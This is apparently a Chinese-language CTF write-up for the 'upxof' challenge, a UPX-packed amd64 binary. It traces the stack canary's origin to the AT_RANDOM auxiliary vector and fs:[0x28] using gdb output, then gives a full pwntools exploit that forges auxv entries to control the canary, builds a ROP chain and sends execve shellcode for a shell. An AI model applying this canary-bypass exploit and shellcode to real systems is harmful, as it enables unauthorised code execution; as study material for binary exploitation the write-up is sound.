origin_of_canaries

orgin

学弟发给我一题 upxof… binary 我由于自己的两次sb操作导致在很简单的问题上搞了两个晚上…. 通过这题…了解了canary的起源.. 我发现没了gdb我啥都不是…壳还是极大地加大了我的调试难度…不知道对于这种题有没有debug的好方法…

analysis

checksec

[*] '/home/n132/Desktop/upxof'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
    Packer:   Packed with UPX

看到checksec本以为挺简单的…我真是too young too naivi

LLLLAb

随便编译了一个程序 叫canary

AT_SYSINFO_EHDR: 0x7fff3a9c6000
AT_HWCAP:        f8bfbff
AT_PAGESZ:       0x1000
AT_CLKTCK:       100
AT_PHDR:         0x400040
AT_PHENT:        56
AT_PHNUM:        9
AT_BASE:         0x7ff1837c3000
AT_FLAGS:        0x0
AT_ENTRY:        0x400530
AT_UID:          1000
AT_EUID:         1000
AT_GID:          1000
AT_EGID:         1000
AT_SECURE:       0
AT_RANDOM:       0x7fff3a8c0889
AT_EXECFN:       0x7fff3a8c2fde
AT_PLATFORM:     0x7fff3a8c0899

进入gdb

n132>>> x/s 0x7fff3a8c2fde
0x7fff3a8c2fde:	"/home/n132/Desk"...
n132>>> x/s 0x7fff3a8c0899
0x7fff3a8c0899:	"x86_64"
n132>>> x/8gx 0x7fff3a8c0889
0x7fff3a8c0889:	0xb85039cc2a5b826f
n132>>> canary
canary : 0xb85039cc2a5b8200

可以发现auxv的内的变量正如文章内所说是 Mysterious carriers of information from kernelspace to userspace. 实现内核到用户空间的信息交流.从而实现了canary

文章中还提及在程序一开始AT_RANDOM,AT_EXECFN,AT_PLATFORM和其他的值会被push到栈上

stack 1000
...
1096| 0x7fff3a8c0848 --> 0x7fff3a8c0889 --> 0xb85039cc2a5b826f 
1104| 0x7fff3a8c0850 --> 0x1f 
1112| 0x7fff3a8c0858 --> 0x7fff3a8c2fde ("/home/n132/Desk"...)
1120| 0x7fff3a8c0860 --> 0xf 
1128| 0x7fff3a8c0868 --> 0x7fff3a8c0899 --> 0x34365f363878 ('x86_64')
...

…一个大胆的想法诞生了…我试着改写栈上的值 首先先看一下内存中存在AT_RANDOM的地方…

n132>>> searchmem 0x7fff3a8c0889
Searching for '0x7fff3a8c0889' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fff3a8c0848 --> 0x7fff3a8c0889 --> 0xb85039cc2a5b826f 
n132>>> x/8gx 0x7ff1839cd728
0x7ff1839cd728:	0xb85039cc2a5b8200	0x23cdf44b7dcc94de
...
n132>>> x/8gx 0x7fff3a8c0889
0x7fff3a8c0889:	0xb85039cc2a5b826f	0x23cdf44b7dcc94de
0x7fff3a8c0899:	0x000034365f363878	...

存在canary的地方

n132>>> searchmem 0xb85039cc2a5b8200
Searching for '0xb85039cc2a5b8200' in: None ranges
Found 2 results, display max 2 items:
 mapped : 0x7ff1839cd728 --> 0xb85039cc2a5b8200 
[stack] : 此处是main开始时push上去的所以不算

因为是从fs:[0x28]上取得canary…然后地址0x7ff1839cd728也是0x28结尾 于是我多做了几次实验发现都是0x28结尾所以 fs-->0x7ff1839cd728 也就是得到了canary的起源

       来源于                            来源于           来源于
Canany------>0x7ff1839cd728(fs:[0x28])-------->AT_RANDOM------>Kernel

所以讲道理 我们只要改写 mapped : 0x7ff1839cd728 --> 0xb85039cc2a5b8200 就可以破坏canary.或者我们在load前改写掉AT_RANDOM就可以控制 canary

于是关于这题邪恶的想法在我脑中产生.

思路

exp


from pwn import *
rdi=0x0000000000800766
p=process("./upxof")
p.readuntil("password:")
"""
gdb.attach(p,'''
b *0x400a2e
c
b *0x400c93
c
b *0x800b4e
c
c
c
c
b *0x800d91
c
b *0x4005e9
c
si
si
si
si
si
si
si
b *0x7ffff7a99f40
c
c
b *0x7ffff7a9a08e
''')
"""
#context.log_level='debug'
s=p64(0)*14+p64(0x1)+p64(0x600100)+p64(0)
s+=p64(0x600100)*23+p64(0)
s+=p64(0x21)+p64(0x600100)+p64(0x10)+p64(0x78bfbff)+p64(6)+p64(0x1000)+p64(0x11)+p64(0x64)+p64(3)+p64(0x400040)
s+=p64(0x4)+p64(0x38)+p64(0x5)+p64(2)+p64(7)+p64(0)+p64(8)+p64(0)+p64(9)+p64(0x400988)
s+=p64(0xb)+p64(0x3e8)+p64(0xc)+p64(0x3e8)+p64(0xd)+p64(0x3e8)+p64(0xe)+p64(0x3e8)+p64(0x17)
s+=p64(0)+p64(0x19)
s+=p64(0x600100)+p64(0x1f)+p64(0x600100)+p64(0xf)+p64(0x600100)
p.sendline("12345678"+s)
addr=0x00602000-0x200
p.sendlineafter("let's go:","\x00"*0x408+p64(0)+p64(addr+0x80-0x8)+p64(rdi)+p64(addr)+p64(0x400763)+p64(0x400763)+p64(0x400763))
context.arch='amd64'
sleep(1)
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode=shellcode.ljust(0x80,'\x00')+p64(addr)
p.sendline(shellcode)
p.interactive()


review.

调试是个好东西….没了调试犯的傻逼错误都找不出来… 不知道这个程序是咋弄出来的.